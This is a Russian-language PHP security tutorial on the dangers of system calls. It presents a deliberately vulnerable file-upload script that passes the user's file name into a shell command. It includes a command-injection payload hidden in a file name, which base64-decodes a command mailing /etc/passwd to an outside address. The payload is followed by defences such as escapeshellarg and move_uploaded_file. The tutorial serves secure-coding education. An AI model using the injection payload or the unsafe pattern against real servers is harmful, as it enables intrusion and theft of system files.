Безопасность в PHP, Часть II
В PHP предусмотрено несколько средств для выполнения системных вызовов. Ну а если подробнее, то system(), exec(), passthru(), popen()
и оператор обратная кавычка [backtick] (`
) позволяют выполнять команды операционной системы непосредственно из PHP-скрипта. И каждая из перечисленных функций при неадекватном использовании может предоставить злоумышленнику огромные возможности исполнения системных команд на вашем сервере. Как это было и в случае с доступом к файлам, большинство дыр появляется, когда текст команды составляется на основе небезопасных данных, полученных со стороны.
Выполнение системных вызовов из PHP-скриптов
В PHP предусмотрено несколько средств для выполнения системных вызовов. Ну а если подробнее, то system(), exec(), passthru(), popen()
и оператор обратная кавычка [backtick] (`
) позволяют выполнять команды операционной системы непосредственно из PHP-скрипта. И каждая из перечисленных функций при неадекватном использовании может предоставить злоумышленнику огромные возможности исполнения системных команд на вашем сервере. Как это было и в случае с доступом к файлам, большинство дыр появляется, когда текст команды составляется на основе небезопасных данных, полученных со стороны.
Пример скрипта, содержащего системный вызов
Представим себе скрипт, который получает файл, загруженный на сервер по http [upload-файл], сжимает с помощью zip
, а потом перемещает его в определённую директорию (по умолчанию это /usr/local/archives/
). Вот код:
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
if (file_exists($cmp_name)) {
$savepath = $store_path.$filename;
rename($cmp_name, $savepath);
}
}
}
?>
<form enctype="multipart/form-data" action="<?php
php echo $_SERVER['PHP_SELF'];
?>" method="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
Несмотря на кажущуюся прозрачность скрипта, злоумышленник может использовать его в своих целях аж несколькими способами. Самое опасное место - там, где мы исполняем команду сжатия файла (обратная кавычка), а именно следующие строки:
<?php
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
Как обмануть скрипт и заставить его исполнять различные shell-команды
Итак, безобидность скрипта обманчива: любой пользователь, который может upload-ить файл, может и исполнять любые команды! Эта дыра в безопасности обязана своим появлением тому, как задаётся значение переменной $cmp_name
. Поскольку в данном конкретном случае разработчик захотел, чтобы имя сжатого файла содержало имя upload-файла (плюс расширение .zip
), было использовано значение переменной $_FILES['file']['name']
(содержащей имя upload-файла, каким оно было на клиентской машине). И вот именно в этом случае злоумышленник может полностью изменить поведения скрипта: он может загрузить файл с именем, содержащим специальные символы, интерпретируемых ОС. Например, что случится, если пользователь создаст пустой файл таким манером (из командной строки UNIX)?
[user@localhost]# touch ";php -r '\$code=base64_decode(\\
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\\\");
system(\$code);';"
Эта команда создаст файл с таким именем:
;php -r '$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';
Странное имя, да? Правильно, это "имя" похоже на текст некой команды CLI версии PHP; команда эта выполняет следующий код:
<?php
$code=base64_decode("bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>
Если вы, из любопытства, выведете значение переменной $code
, то увидите, что оно равно mail baduser@somewhere.com < /etc/passwd
. И если пользователь загрузит этот файл, и наш PHP-скрипт займётся им, то когда скрипт начнёт выполнять системный вызов для сжатия файла, то на самом деле он выполнит следующую команду:
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';.zip /tmp/phpY4iatI
Вот и всё, то, что вы сейчас увидели, уже не одна, а три команды! Как только оболочка проинтерпретирует точку с запятой (;), означающей (поскольку не заключена в кавычки) конец одной команды и начало другой, тогда PHP-функция system()
на самом деле выполнит это:
[user@localhost]# /usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);'
[user@localhost]# .zip /tmp/phpY4iatI
Как вы видите, вроде бы безобидный PHP-скрипт предоставил возможность исполнения различных системных команд, в том числе и исполнение других PHP-скриптов! Конечно, этот пример сработает только на системах, где пользователь, от имени которого запущен web-сервер, имеет в своей PATH переменной CLI версию PHP (а не должен бы). Однако на том же принципе можно построить и другие способы получения подобного результата.
Как защититься от атак, связанных с системными вызовами
Главное здесь, как и раньше, никогда не доверять данным из внешних источников, какой бы ни был контекст их использования. Возникает вопрос, как же избежать подобных ситуаций при работе с системными вызовами (отказ от самих системных вызовов здесь не рассматривается). Для борьбы с этим недугом PHP предлагает две функции: escapeshellarg()
и escapeshellcmd()
.
Функция escapeshellarg()
предназначена для устранения или какого-либо игнорирования потенциально опасных символов в полученных от пользователя данных. Результат работы функции может использоваться как аргумент к системной команде (в нашем случае это zip
). Синтаксис функции такой:
escapeshellarg($string)
где $string - это строка для "зачистки", а возвращаемое значение и есть "зачищенная" строка. Функция заключает строку в аргументе в одинарные кавычки и дезактивирует (то есть предваряет слэшем) все одинарные кавычки, уже содержащиеся в строке. В нашем примере, если мы добавим перед системным вызовом две строки:
<?php
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
?>
то мы исключим риск того, что аргумент, передаваемый в системную команду, будет проинтерпретирован только как аргумент, и никак иначе, каковы бы не были данные, предоставленные пользователем.
Функция escapeshellcmd()
похожа на свою коллегу с тем исключением, что при "зачистке" будут дезактивированы символы, имеющее специфическое значение для операционной системы. В отличие от escapeshellarg()
эта функция не будет как-то особенно обрабатывать строки с пробелами. Например, если мы применим escapeshellcmd()
для такой строки:
$string = "'hello, world!';evilcommand"
то она станет такой:
\'hello, world\'\;evilcommand
Это может привести к нежелательному результату, если строка будет использована в качестве аргумента к системной команде, поскольку интерпретатор будет воспринимать нашу строку как два аргумента, \'hello
и world\'\;evilcommand
, соответственно. Итак, если данные, предоставленные пользователем, будут использоваться в качестве части списка аргументов, то функция escapeshellarg()
предпочтительнее.
Защита upload-файлов
До данного момента я говорил только о том, как злоумышленники могут компрометировать системные вызовы в PHP-скриптах. Однако в нашем примере есть ещё одна потенциальная дыра в безопасности, и о ней также стОит упомянуть. Вернёмся к нашему коду и изучим внимательно эти строки:
<?php
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
?>
Итак, потенциально опасный код находится в самой последней строке приведённого отрезка. В ней мы проверяем, существует ли upload-файл (который хранится под временным именем, $tmp_name
). Опасность здесь исходит не от самого PHP, а от возможности того, что файл под именем $tmp_name
вовсе не был загружен пользователем, а как-либо указывает на файл, который злоумышленник хочет заполучить, ну скажем, /etc/passwd
. Чтобы избежать подобных ситуаций, PHP предлагает функцию is_uploaded_file()
. Работа этой функции похожа на действие функции file_exists()
за тем лишь исключением, что в данном случае проводится дополнительная проверка того, был ли данный файл действительно загружен с клиентской машины.
Поскольку, в большинстве случаев вам нужно куда-либо переместить upload-файл, то в дополнение к функции is_uploaded_file()
в PHP есть функция move_uploaded_file()
. Работает она также, как и rename()
при перемещении файлов за тем лишь исключением, что в данном случае перед исполнением проводится дополнительная проверка того, что перемещаемый файл действительно был загружен с клиентской машины. Синтаксис функции move_uploaded_file()
такой:
move_uploaded_file($filename, $destination);
При вызове эта функция переместит upload-файл $filename
в $destination
и возвратит значение типа Boolean, которое проинформирует об успешном или неуспешном завершении операции.
Нет комментариев. Ваш будет первым!